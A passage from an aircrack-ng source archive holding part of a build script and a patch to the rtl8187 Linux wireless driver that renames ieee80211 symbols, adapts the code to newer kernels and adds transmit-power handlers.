$(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. aircrack-ng-1.1/patches/old/rtl8187_2.6.20v3.patch0000644000000000000000000073070110761053203017674 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-04-23 00:08:15.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-04-23 00:08:11.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-04-23 00:08:15.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-04-23 00:08:11.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-04-23 00:08:15.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-04-23 00:08:11.000000000 +0200 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-04-23 00:08:11.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,147 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); + + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); - + return ret; - } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +226,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +259,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +283,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +307,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +326,50 @@ { int ret; - 